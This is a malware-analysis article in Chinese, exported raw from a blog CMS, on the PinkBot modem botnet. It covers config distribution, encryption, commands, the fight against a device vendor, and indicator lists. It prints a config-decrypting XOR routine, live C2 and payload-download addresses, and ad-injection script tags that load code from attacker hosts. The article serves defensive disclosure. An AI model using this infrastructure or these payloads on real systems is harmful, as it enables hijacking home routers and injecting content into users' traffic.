设备厂商的对抗（此章节涉及到厂商利益，慎重公开）\n\n根据一个涉事厂商（四川天邑）提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。\n\n*第一次对抗*: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。\n\n*第二次对抗*：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。\n\n*第三次对抗*：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。\n\n*最后的方案*：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。\n\n*复盘总结*：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。\n\n\n## GITHUB 封相关账号\n\n我们在实际跟踪中通过残留的早期指令发现，PinkBot 至少已经存在一年以上了，最早可以追溯到 2018年10月16日，当时使用的 github 帐号为 pink78day（这个账号早就已经看不到了，我们通过搜索Google的网页快照服务追溯）。\n\n\n\n目前 PinkBot 使用的帐号是 2019年11月下旬注册的 mypolo111，而 pink78day 这个账号已经无法在 Github 上搜索到，所以我们推测，Github 在发现这个项目后对帐号采取了屏蔽措施，而最近一次攻防也就发生在 2019年11下旬 PinkBot 换帐号这个时间点。\n\n*复盘总结*：对于GITHUB来说，PinkBot 数量巨大，且访问的项目是一个明显恶意的项目，会消耗较多的服务资源，于情于理，GITHUB 都要封杀这个僵尸网络。问题在于，他们误认为 pink78day 是一个集中分发指令的渠道，以为单纯封杀这个账号就没事了。但事实上，这个账号只是一个相对下游的控制手段。攻击者通过增加BTC钱包的交易记录就可以瞬间将Bot重定向到一个新的账号上。消耗资源的问题依然存在，此次攻防无所谓成功失败。Nice try.\n\n# IOC\n## C&C地址\n\n通过长期跟踪，攻击者使用过的CNC地址有：\n\n```\ncnc.pinklander[.]com\n144.202.109.110:32876\n207.148.70.25:12368\n45.32.125.150:12368\n45.32.125.188:12368\n45.32.174.105:12368\n5.45.79.32:12368\n```\n\n**PS**: 其中 cnc.pinklander.com 在2019年12月28日，已经被我们的DNSMon系统自动识别并加黑处理了。\n\n## 同步服务\n\nPinkBot 会通过HTTP服务同步样本，用于更新或扩大感染。所用的HTTP服务有一些是公有服务，有一些是临时建立的HTTP服务。\n在长期的跟踪中，我们确定至少存在以下URL被用于样本同步。这些URL均提取自 PinkBot 的`配置信息`中。\n\n```\nhttp[:]//1.198.50.63:1088/dlist.txt\nhttp[:]//1.63.19.10:19010/var/sss/dlist.txt\nhttp[:]//104.207.142.132/dlist.txt\nhttp[:]//108.61.158.59/dlist.txt\nhttp[:]//111.61.248.32:1088/dlist.txt\nhttp[:]//112.26.43.199:81/dlist.txt\nhttp[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt\nhttp[:]//117.131.10.102:1088/d/dlist.txt\nhttp[:]//123.13.215.89:8005/d/dlist.txt\nhttp[:]//125.74.208.220:81/dlist.txt\nhttp[:]//140.82.24.94/dlist.txt\nhttp[:]//140.82.30.245/d/dlist.txt\nhttp[:]//144.202.38.129/dlist.txt\nhttp[:]//149.28.142.167/p/dlist.txt\nhttp[:]//149.28.142.167/p1/dlist.txt\nhttp[:]//155.138.140.245/dlist.txt\nhttp[:]//167.179.110.44/dlist.txt\nhttp[:]//173.254.204.124:81/dlist.txt\nhttp[:]//182.139.215.4:82/dlist.txt\nhttp[:]//207.148.4.202/dlist.txt\nhttp[:]//218.25.236.62:1987/d/dlist.txt\nhttp[:]//218.25.236.62:1988/d/dlist.txt\nhttp[:]//222.216.226.29:81/dlist.txt\nhttp[:]//45.32.26.220/dlist.txt\nhttp[:]//45.76.104.146/dlist.txt\nhttp[:]//45.77.165.83/p1/dlist.txt\nhttp[:]//45.77.198.232/p1/dlist.txt\nhttp[:]//45.88.42.38/p1/dlist.txt\nhttp[:]//61.149.204.230:81/dlist.txt\nhttp[:]//66.42.114.73/dlist.txt\nhttp[:]//66.42.67.148/dlist.txt\nhttp[:]//8.6.193.191/dlist.txt\nhttps[:]//fse7.oss-cn-shanghai.aliyuncs.com/dlist.txt\nhttps[:]//fys6y.oss-cn-shanghai.aliyuncs.com/dlist.txt\nhttps[:]//gitee.com/b9g/zt/raw/master/dlist.txt\nhttps[:]//gitee.com/bg64/gy/raw/master/dlist.txt\nhttps[:]//gitee.com/bg64/xt/raw/master/dlist.txt\nhttps[:]//gitee.com/d3fg/su/raw/master/dlist.txt\nhttps[:]//gitee.com/fe354/xx/raw/master/dlist.txt\nhttps[:]//gitee.com/fh8y/i9/raw/master/dlist.txt\nhttps[:]//gitee.com/g6y/qu/raw/master/dlist.txt\nhttps[:]//gitee.com/g7u/hi/raw/master/dlist.txt\nhttps[:]//gitee.com/gb7e/sh/raw/master/dlist.txt\nhttps[:]//gitee.com/ggf2/zt/raw/master/dlist.txt\nhttps[:]//gitee.com/ji9/zg/raw/master/dlist.txt\nhttps[:]//gitee.com/johncase/zip/raw/master/dlist.txt\nhttps[:]//gitee.com/k9o/st/raw/master/dlist.txt\nhttps[:]//gitee.com/k9o/u8/raw/master/dlist.txt\nhttps[:]//gitee.com/mh8i/zt/raw/master/dlist.txt\nhttps[:]//gitee.com/nick908/hello/raw/master/dlist.txt\nhttps[:]//gitee.com/nick908/sc/raw/master/dlist.txt\nhttps[:]//gitee.com/s7y/xx/raw/master/dlist.txt\nhttps[:]//gitee.com/t9i/y7/raw/master/dlist.txt\nhttps[:]//gitee.com/u8i/fo/raw/master/dlist.txt\nhttps[:]//gitee.com/ujh5/ho/raw/master/dlist.txt\nhttps[:]//gitee.com/vd5/y8/raw/master/dlist.txt\nhttps[:]//gitee.com/vd5/y9/raw/master/dlist.txt\nhttps[:]//gitee.com/vr6/sh/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/bh/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/eg/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/lp/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/rt/raw/master/dlist.txt\nhttps[:]//gitee.com/y7u/xc/raw/master/dlist.txt\nhttps[:]//hj9o.oss-cn-hangzhou.aliyuncs.com/dlist.txt\nhttps[:]//hjis.oss-cn-beijing.aliyuncs.com/dlist.txt\nhttps[:]//kol5.oss-cn-beijing.aliyuncs.com/dlist.txt\nhttps[:]//n609.coding.net/p/t/d/t/git/raw/master/dlist.txt\nhttps[:]//okp9.oss-cn-beijing.aliyuncs.com/dlist.txt\nhttps[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt\n```\n\n## MD5\n\n通过跟踪获取到的相关样本（ELF）汇总如下：\n\n```\n9ec5bd857b998e60663e88a70480b828 /bin/protect\n451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c\n06d6ad872e97e47e55f5b2777f78c1ba slient_l\n07cd100c7187e9f4c94b54ebc60c0965 slient_b\n0f25b0d54d05e58f5900c61f219341d3 client_b\n0f89e43ea433fdfd18a551f755473388 slient_l\n1197994610b2ffb60edbb5ab0c125bc0 client_b\n167364ad0d623d17332f09dbb23a980e client_b\n175b603082599838d9760b2ab264da6f slient_l\n1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l\n229503686c854bb39efdc84f05b071b9 slient_b\n25a07e3ef483672b4160aa12d67f5201 client_l\n262a4e242c9ebeba79aa018d8b38d229 client_l\n29d0afd2a244c9941976ebf2f0f6597f client_l\n2befedd020748ff6d9470afad41bd28c slient_b\n2ca5810744173889b2440e4f25b39bd4 client_l\n36e48e141943a67c6fdeaa84d7af21cc client_b\n3a620ff356686b461e0e1a12535bea24 slient_l\n41bbe8421c0a78067bae74832c375fe8 slient_l\n45ee78d11db54acfdda27c19e44c3126 client_l\n4830c3950957093dac27d4e87556721e slient_l\n484761f281cb2e64d9db963a463efca5 client_l\n48a7f2799bf452f10f960159f6a405d3 client_l\n494412638dc8d573172c1991200e1399 client_l\n4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b\n50270de8d5783bb0092bf1677b93c97b slient_l\n54aa9e716567bd0159f4751916f7f0d1 client_l\n5ae1fec20c2f720269c2dc94732187e8 slient_b\n5b62a9bd3431c2fd55283380d81c00fa client_b\n5c322610e1845d0be9ccfc8a8b6a4c4f client_l\n5c4f8dae67dad8cac141afa00847b418 slient_b\n5d0d034845bd69179bf678104c046dc1 client_b\n60658ef214c960147200d432eece3e13 slient_l\n60a2b1bb02a60ac49f7cc1b47abdf60c client_l\n610f0aadba3be1467125607bf2ba2aaf slient_l\n66a068fd860bda7950fde8673d1b5511 client_b\n6c4de9bd490841f0a6c68638f7253c65 client_b\n72c531a813b637af3ea56f288d65cdb7 slient_b\n7608b24c8dcf3cd7253dbd5390df8b1f client_b\n7645a30a92863041cf93a7d8a9bfba1a client_b\n857fc3c7630859c20d35d47899b75699 slient_b\n861af6b5a3fea01f2e95c90594c62e9d client_l\n8e86be3be36094e0f5b1a6e954dbe7c2 client_l\n8fbcd7397d451e87c60a0328efe8cd5d client_b\n987a9befb715b6346e7ad0f6ac87201f slient_b\n9eb147e3636a4bb35f0ee1540d639a1b slient_b\naa2fc46dd94cbf52aef5e66cdd066a40 client_l\nae8b519504afc52ee3aceef087647d36 slient_b\nb0202f1e8bded9c451c734e3e7f4e5d8 slient_b\nb6f91ad027ded41e2b1f5bea375c4a42 slient_b\nb9935859b3682c5023d9bcb71ee2fece slient_b\nb9d1c31f59c67289928e1bb7710ec0ba client_l\nbec2f560b7c771d7066da0bee5f2e001 client_b\nc2efa35b34f67a932a814fd4636dd7cb slient_l\nc839aff2a2680fb5676f12531fecba3b slient_b\nc94504531159b8614b95c62cca6c50c9 slient_l\ndfe0c9d36062dd3797de403a777577a6 client_b\ne19a1106030e306cc027d56f0827f5ce slient_l\nf09b45daadc872f2ac3cc6c4fe9cff90 client_b\nf5381892ea8bd7f5c5b4556b31fd4b26 client_b\nf55ad7afbe637efdaf03d4f96e432d10 slient_b\nf62d4921e3cb32e229258b4e4790b63a client_b\nf81c8227b964ddc92910890effff179b slient_b\nfc5b55e9c6a9ddef54a256cc6bda3804 client_b\nfe8e830229bda85921877f606d75e96d slient_l\nfee6f8d44275dcd2e4d7c28189c5f5be client_l\n```\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5e15bc577646030007b2634b |
post | null | 2020-03-18T03:06:51.000Z | 63873b9a8b1c1e0007f52f63 | pinkbot | 0 | 2021-10-29T07:13:04.000Z | public | published | null | 2021-10-26T02:31:34.000Z | 一个藏在我们身边的巨型僵尸网络 Pink | <p></p><!--kg-card-begin: markdown--><p>本文完成于2020年春节前后，为维护广大最终消费者的利益，一直处于保密期无法发表。近日 CNCERT 公开披露了相关事件，令本文有了公开契机。在保密期的这段时间里，Pink 也出现一些新的小变动，笔者筛选了其中一部分放到“新动向”章节，供其他同仁共同追踪研究。</p>
<h1 id="">概述</h1>
<p>2019年11月21日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，相关样本中包含大量以 pink 为首的函数名，所以我们称之为 PinkBot。</p>
<p>Pinkbot 是我们六年以来观测到最大的僵尸网络，其攻击目标主要是 mips 光猫设备，在360Netlab的独立测量中，总感染量超过160万，其中 96% 位于中国。</p>
<p>PinkBot 具有很强的技术能力：</p>
<ol>
<li>PinkBot 架构设计具备很好的健壮性，它能够通过多种方式（通过第三方服务分发配置信息/通过 P2P 方式分发配置信息/通过 CNC 分发配置信息）自发寻址控制端，并对控制端通信有完备的校验，确保僵尸节点不会因某一个环节的阻杀而丢失或被接管；甚至对光猫固件做了多处改动后，还能确保光猫能够正常使用；</li>
<li>PinkBot对部分域名的解析查询采取了 DNS-Over-HTTPS 的方式，这个也是在传统BotNet中不太常见的一种手段；</li>
<li>在与相关厂商的屡次攻防博弈中，PinkBot 的运营者都占据了明显的对抗优势。</li>
</ol>
<p>可以说，PinkBot 在整个过程中表现出了极强的针对性和专业性，各方面能力都很均衡，甚至有些可怕。</p>
<h1 id="">规模及影响范围</h1>
<p>我们通过对多个数据源的交叉对比，推测 PinkBot 的感染量在百万量级。三个评估的数据源如下：</p>
<ol>
<li>2019-11-30我们从可信任的安全伙伴手里拿到一个统计数字，日活去重 1,962,308 个IP;</li>
<li>2020-01-02从CNCERT拿到的统计结果：<br>
<code>“该僵尸网络的规模目前无法准确测算。根据NetFlow数据、主动探测数据、实时监测数据等多个维度的数据测算，该僵尸网络关联的Bot节点IP地址数量超过500万。因家庭宽带IP是动态分配的，背后的真实感染设备规模无法精确估计，推测实际感染设备数量在百万级，测算的一个主要依据为曾监测到1分钟内连接C2的IP数量超过百万。”</code></li>
<li>根据我们 (360NetLab) 在全网范围内持续探测的数据评估，2020-01-08 当天活跃的受感染 IP 数量为 165 万。</li>
</ol>
<p>在我们全网探测的测量数据中，受感染的 IP 主要集中在中国 (96%)，遍及全国 33 个省。</p>
<h1 id="pinkbot">PinkBot 技术架构</h1>
<p>PinkBot是一个同时融合了“P2P”和“CNC”的混合结构僵尸网络。一般情况下，它将时效性要求不高的指令（如管理配置信息）通过P2P的方式传递，将时效性要求较高的指令通过CNC模式集中分发（例如：发起ddos攻击，向用户访问的HTTP网站中插广告）。</p>
<h2 id="">配置信息</h2>
<p>对于每一个Bot来说，最重要的一步是找到自己的管理员。而管理员的信息就包含在“配置”之中，下面是最新截获的配置信息：</p>
<pre><code>{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//*****.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
</code></pre>
<ol>
<li>其中 verify 字段为指令发布的时间戳，Bot会根据这个时间戳筛选出最新的有效指令。</li>
<li>随后的 cncip 和 cncport 字段指明了僵尸网络的最新CNC地址，攻击者会根据自身需求随时切换这个控制地址。</li>
<li>再随后的“dlc/dl”和 “dlc1/dl1” 字段组为最新的Bot更新地址，其中dlc和dlc1为对应内容的Hash校验字段，算法伪代码为：MD5(MD5(dlist_content)+SHA256(dlist_content))。</li>
<li>“sd0/sdp0”字段为安全DNS地址，对于每一个Bot来说，当需要查询DNS解析记录时，将通过这里指定的DNS服务来查询。且方式为DNS-Over-HTTPS。</li>
<li>srvk字段为服务端的公钥内容（base64编码）。对于每一个bot来说，它和CNC的通讯都是加密的。所以实际通讯前要先经过ECDH的密钥协商得到一个唯一的私钥。在这里指定了CNC端的公钥后，还可以顺带完成了Bot对CNC身份的验签。这是对原有 ECDH 的扩展使用。</li>
<li>pxy字段，推测是一个代理上线的选项。目前没有看到使用迹象，不清楚具体的工作逻辑。</li>
</ol>
<h3 id="">配置信息的保护</h3>
<p>通过上一节的介绍，不难发现“配置信息”其实就是这个僵尸网络的核心，它保证了攻击者对僵尸网络的绝对控制能力。<br>
为了防止其他人发现配置信息，传递的配置信息都是异或加密过的密文。异或加解密算法是对称的，其解密代码逻辑如下：</p>
<pre><code>def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
</code></pre>
<p>信息加密后，为了防止他人伪造。攻击者还使用了ecdsa对配置信息进行了签名，签名细节如下：</p>
<ol>
<li>签名校验使用的密码库为 mbedtls；</li>
<li>签名算法为 ECDSA；</li>
<li>签名时使用的曲线为：MBEDTLS_ECP_DP_SECP192R1；</li>
<li>验签所用公钥为： <code>04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E</code></li>
</ol>
<h3 id="">配置信息的分发</h3>
<p>除了保证配置信息的机密性和完整性外，攻击者还使用了多种手段来分发配置信息，以确保其可用性。</p>
<h4 id="a">a) 通过第三方服务分发配置信息</h4>
<ol>
<li>通过 BTC+GITHUB 分发配置信息</li>
</ol>
<p>该分发渠道的核心是一个隐藏在GITHUB上的项目，比如最近一次看到的项目就是（mypolo111/vfg），可以看到这个项目的README中，有两行内容。</p>
<p><img src="__GHOST_URL__/content/images/2019/11/pink_readme.png" alt="" loading="lazy"></p>
<p>其中，模式为<code>P!!<base64>I!!</code>行是配置签名，模式为<code>N!!<base64>K!!</code>行是配置信息的密文。</p>
<p>但对于每一个Bot来说，想要找到这个隐藏项目却很复杂。最初，先从一个固定的BTC钱包[<code>1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF</code>] 的转账记录生成一个 topic 标签，在逆向样本相关代码之后，我还原了这个过程，如下图所示（BTC钱包的查询用到了四个web服务，具体的地址也如图中所示）：</p>
<p><img src="__GHOST_URL__/content/images/2019/11/image.png" alt="" loading="lazy"></p>
<p>对于每一个可能的topic标签，都有很多相关的github项目。遍历这些项目的ISSUES，寻找一个格式为 <code>...!<base64>...?</code> 的字串，比如我们最近找到的一个就是 <code>...!L215cG9sbzExMS92Zmc=...?</code> 将这个base64 还原，就是隐藏项目的地址了 <code>mypolo111/vfg</code></p>
<p>再通过搜索 GITHUB 的 Topics 和 ISSUES，找到那个隐藏的GIT项目。</p>
<p>另：mypolo111 这个账号在多个项目中提交过ISSUES，相关截图如下所示：</p>
<p><img src="__GHOST_URL__/content/images/2019/11/mypolo111_issues.png" alt="" loading="lazy"></p>
<p>PS：在这一套寻址逻辑下，攻击者可以通过为 “特定BTC钱包” 增加交易记录的方式，来切换最终找到的 GITHUB 项目。在这样的前提下须封掉指定BTC钱包才能破坏这个僵尸网络以 GITHUB 为主的分发逻辑。</p>
<ol start="2">
<li>通过 某中文社区 分发配置信息</li>
</ol>
<p>攻击者在少部分样本中还尝试利用“某中文社区”分发配置信息，这一部分的逻辑和利用GITHUB分发的逻辑相似。</p>
<h4 id="bp2p">b) 通过 P2P 方式分发配置信息</h4>
<ol>
<li>P2P-Over-UDP123 分发配置信息</li>
</ol>
<p>Bot节点运行后，会在本地监听 UDP-123 端口，该端口原本是NTP服务默认端口，所用的协议也具有一定的迷惑性。一段时间后，会向公网的四个B段地址（"114.25.0.0/16"，"36.227.0.0/16"，"59.115.0.0/16"，"1.224.0.0/16"）发起 Peer 探测请求，内容为 <code>1C 00 00 00</code> 当目标为正常的 NTP 服务器时会得到 NTP 时间，而如果目标为一个Bot节点时，则有两种回复：</p>
<ul>
<li>当目标Bot未取得主控信息时回复 <code>1D 00 00 00</code>；</li>
<li>当目标Bot拿到主控信息时，会将主控信息的签名和相应密文回复，发送前，会在信息头补充 0xE3 字节。</li>
</ul>
<p>下图是最近捕获到的UDP-123 传递的配置信息。</p>
<p><img src="__GHOST_URL__/content/images/2020/03/UDP-123-hexdata.png" alt="UDP-123-hexdata" loading="lazy"></p>
<ol start="2">
<li>通过 P2P-Over-TCP 分发配置信息</li>
</ol>
<p>Bot 节点运行后，还会在本地监听一个 TCP 端口，且端口号是通过其公网 IP 计算后得到的，代码如下图所示：</p>
<p><img src="__GHOST_URL__/content/images/2020/01/p2p_getport_byip.png" alt="" loading="lazy"></p>
<p>交互协议的格式同UDP123上的相同。</p>
<h4 id="ccnc">c) 通过 CNC 分发配置信息</h4>
<p>攻击者在部分样本中内置了一个域名 cnc.pinklander.com ，当该域名启用后，会展示一个web页面，页面内容和GITHUB项目的内容相同。也是base64 编码后的配置信息。</p>
<h2 id="pinkbot">PinkBot 指令</h2>
<h3 id="">指令格式</h3>
<p>每条指令至少包含7字节，含义依此如下：</p>
<ol>
<li>Token字段，长度4字节，该字段值由服务器端指定，指定后将一直使用这个值。设置方式为：Bot启动后首先会向CC发送新生成的ECDH的公钥，此刻Token为0，当服务端接受后，会分配一个Token值给Bot，这就算指定成功了。</li>
<li>指令字段，长度1字节。CC发出指令后，Bot也要用相同的指令码把执行结果返回。</li>
<li>内容长度字段，长度2字节。当指令不包含具体内容时，设置为零，否则这里填充内容的字节长度数，并追加密文内容。</li>
<li>指令内容。当指令包含内容时，此处填写密文的指令内容。解密方法请继续向下阅读。</li>
</ol>
<p>这里附上一张截图供参阅，其中红框标记的就是指令字段：</p>
<p><img src="__GHOST_URL__/content/images/2020/03/Snip20191130_9.png" alt="Snip20191130_9" loading="lazy"></p>
<h3 id="">指令传输方式</h3>
<h4 id="a">a) 通讯加密</h4>
<p>上述配置信息中的 cncip1 和 cncport1 便是攻击者实际使用的主控节点。PinkBot 连接到 cnc 后将通过密钥交换方式来做加密通信，细节如下：</p>
<ol>
<li>使用的密码学库为：<code>mbedtls</code>;</li>
<li>密钥交换阶段使用的交换算法 <code>ecdh</code>，加载曲线为 <code>MBEDTLS_ECP_DP_CURVE25519</code>;</li>
<li>服务端ECDH公钥前期为硬编码在样本中，跟踪后期，则改为在配置信息中指定。但内容没有变化过：<code>14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D</code></li>
<li>报文加密/解密阶段使用的算法为 <code>aes</code>, key 为密钥交换后的secret，加载参数为 <code>MBEDTLS_AES_ENCRYPT</code> 和<code>MBEDTLS_AES_DECRYPT</code>;</li>
<li>在ECDH的标准中，一般双方的公私钥是每次都要重新生成。但在 PinkBot 中，却只要求了 Bot 侧每次不同，而服务端则指定一对固定的公私钥。这种内置服务端公钥的方式，就等于让 Bot 有能力对 CNC 进行身份验证，从而杜绝了通讯过程被中间人攻击的可能性。</li>
</ol>
<h4 id="b">b) 指令内容编码</h4>
<p>为了能够同时适配 mipsb/mipsl 机型中字节序列的分布不同，传输的内容其实是经过开源库<a href="https://github.com/nanopb/nanopb">nanopb</a> 转化后的内容，这个库可以通过约定模版的方式来抽象序列化和反序列化的过程，从而忽略掉大/小端内存的干扰。</p>
<h3 id="">指令功能</h3>
<p>PinkBot 指令具有丰富的控制能力：</p>
<blockquote>
<ol>
<li>文件下载</li>
<li>系统命令执行</li>
<li>DDoS攻击（HTTP攻击和 UDP 攻击）</li>
<li>扫描功能（扫描的具体内容可以通过指令设置）</li>
<li>汇报设备信息（CPU/系统类型/内存信息/系统版本/硬件信息）</li>
<li>自身更新（将新版本保存到 /tmp/client 后运行）</li>
<li>P2P节点列表同步（直接推送一组P2P节点到Bot）</li>
<li>http报文注入广告（在受害设备上，嗅探交互报文，遇到http网页时，插入广告js脚本）</li>
<li>启动sock5代理服务（在Bot端架设 Socks5 代理服务，账号密码通过指令设置）</li>
<li>下载文件并执行</li>
<li>停止攻击</li>
<li>重置watchdog</li>
</ol>
</blockquote>
<h2 id="pinkbot">PinkBot 持久化方式</h2>
<p>与我们常见到的 botnet 不同，PinkBot 为了保持对感染设备的绝对控制权，会在感染光猫后，重新刷写原有的光猫固件。在刷写后的固件中，包含了 PinkBot 的下载器母体和配套的启动程序。</p>
<p>下图是被感染后新增/修改的文件列表：</p>
<p><img src="__GHOST_URL__/content/images/2020/03/pink_flash_tree_diff.png" alt="pink_flash_tree_diff" loading="lazy"></p>
<p>其中tmp目录的内容可以暂时忽略，这是样本运行中生成的临时文件。</p>
<p>关键文件说明：</p>
<ul>
<li>/bin/protect：<code>md5:9ec5bd857b998e60663e88a70480b828</code></li>
</ul>
<p>protect 文件是被刷写固件中的Bot母本。文件中未发现收益类功能，换句话说它更像是一个下载器，在这个样本中可以看到以上5种获取配置信息的代码。它最主要的功能，就是启动后会从配置信息中拿到最新的样本并把它们运行起来。</p>
<ul>
<li>/bin/tr69c: <code>md5:451a3cf94191c64b5cd1be1a80be7799</code></li>
</ul>
<p>tc69c 文件是光猫原始固件中 tr69c 的一个patch版本。通过对比分析，发现该patch主要移除了光猫的更新功能。也就是说，被刷写的光猫，将无法通过 tr69c 进行固件升级。这应该是攻防对抗中引入的持久化操作。</p>
<h1 id="">跟踪及处置</h1>
<h2 id="">规模评估</h2>
<p>前面提到，Pink 具有通过 p2p 方式来分发非实时性指令信息的特性。利用这个特性，我们得以在全网范围内对 PinkBot 的感染量进行评估，最终得出的全球受感染IP超过160w的 这个结论。</p>
<h2 id="">指令跟踪</h2>
<p>我们通过模拟 PinkBot 来实时接收CNC主控分发的指令。<br>
除了日常的维护类指令（心跳指令/peerlist同步指令）外，我们还收到了多条向WEB网页插入广告的指令，例如：</p>
<pre><code><script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
</code></pre>
<h2 id="">汇报及处置</h2>
<p>360公司为维护广大最终消费者的利益，做了以下处置工作：</p>
<ol>
<li>通报各级监管机构；</li>
<li>依法配合执法机构行动；</li>
<li>联合设备供应商进行安全防御；</li>
<li>在360系列安全浏览器、安全DNS上阻断PinkBot相关控制域名、插播广告域名；</li>
<li>联合若干互联网基础设施供应商共同监控PinkBot行动。</li>
</ol>
<h1 id="">新动向</h1>
<p>本文其他部分，均完成于2020年春节前后，到现在已经度过了一年半的时光。在这段时间中，我们没有发现 Pink 出现太大的变动，本节附上了一些最新的线索，供同仁们共同研究和追踪。</p>
<h2 id="">最新传播的配置信息</h2>
<p>随着对 pink 的持续追踪，我们发现，pink 的配置信息会间歇性发生变化，变动内容主要体现在 CNC 字段和 DL* 字段，并于最近几个月趋于稳定。下面是我们在 2021/10/5(北京时间) 捕获的最新配置信息。</p>
<pre><code>{
"verify":"1611936001",
"cncip1":"140.82.40.29",
"cncport1":"26007",
"dlc":"450aa79da035a8a55ca4c0e6b1025b50",
"dl":"http://209.250.247.60/dlist.txt",
"dlc1":"47ed94977b45099f1ef5c7701b2d25dc",
"dl1":"https://****.com/****/dlist.txt",
"sd0":"1.1.1.1",
"sdp0":"443",
"srvk":"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy":"1"
}
</code></pre>
<h2 id="">当前规模</h2>
<p>我们一直阶段性的对公网上的 Pink 节点进行持续监测，通过对 2021/10/20日的日志分析，我们仍然可以看到 103024 个 IP 处于日活状态。这表明，当前的 pink 的感染规模仍然在 10w 量级左右，涉及多家设备厂商，按照每个IP对应一个三口之家来计算，受影响人群大概 30w 人左右。按照每个光猫 100 元的更换成本计算，当前仍有上千万损失等待弥补。</p>
<h2 id="ddos">曾发起 DDoS 攻击</h2>
<p>文章编写完成时，我们并没有抓到 Pink 发起 ddos 攻击的指令，但在随后的一段时间中，我们监测到了大概100多条试图发起 DDos 攻击的指令，下面筛选其中的两条，供参考：</p>
<pre><code>2020/3/24 通过UDP协议，攻击 203.56.252.137:26999
2020/4/8 通过HTTP协议，攻击 180.101.192.199:27020
</code></pre>
<h1 id="pink">番外：Pink 对抗的能力</h1>
<p>在对 Pink 僵尸网络分析跟踪的过程中。我们注意到，攻击者和不同厂商进行过多次的攻防对抗。<br>
这一章节将简单介绍下在对抗中， Pink 展现出来的一些能力。</p>
<h2 id="">设备厂商的博弈</h2>
<p>根据相关厂商之一提供的信息，对抗最早发生在 2019 年 11 月中旬。受攻击的漏洞源于一个 TCP-17998 的管控服务，该服务是对运营商提供的一个管理家用光猫的接口。由于服务配置和实现的失误，向公网开放了访问权限，攻击者通过它获取了相关光猫的控制权。</p>
<p><em>第一次对抗</em>: 厂商在发现这个问题后，开始试图在公网上通过相同的漏洞，修复自家设备。但很快就被攻击者发现并马上采取行动，通过 iptables 关闭了 TCP-17998 的外网访问能力，从设备内部阻止了厂商的进一步修复。</p>
<p><em>第二次对抗</em>：此次攻防的焦点在 tr069 升级通道。厂商从运营商侧可以在设备启动瞬间利用 tr096 进去修复设备。然而此次攻击者仍然在第一时间察觉到问题，并迅速更新固件关掉了tr096 的更新通道。</p>
<p><em>第三次对抗</em>：厂商又尝试利用设备上 LAN 侧的 TCP-80 HTTP 服务来进行设备修复，然而，同样的结局，攻击者很快又更新固件把设备上的 HTTP 服务文件干掉了。至此，所有的光猫都成了网络孤岛，它们只能提供终端用户的正常网上冲浪的能力，却再没有网络端口可以供外侧管理访问。</p>
<p><em>最后的方案</em>：厂商已经完全没有还击的筹码了。如果要修复这些孤岛，只能派人入户接触光猫，拆解出调试接口或者干脆为用户更换光猫。</p>
<p><em>复盘总结</em>：设备厂商与攻击者多轮的攻防对抗中，双方的信息和能力是不对等的。厂商在无法获知全网受害情况的前提下，从互联网上一个IP一个IP的发现设备/修复设备。而攻击者通过集中C&C的机制，统一下发关服务指令。虽然，厂商修复了一部分设备得到了局部胜利，但攻击者仍然保住了大部分胜利果实获取了全局胜利。<br>
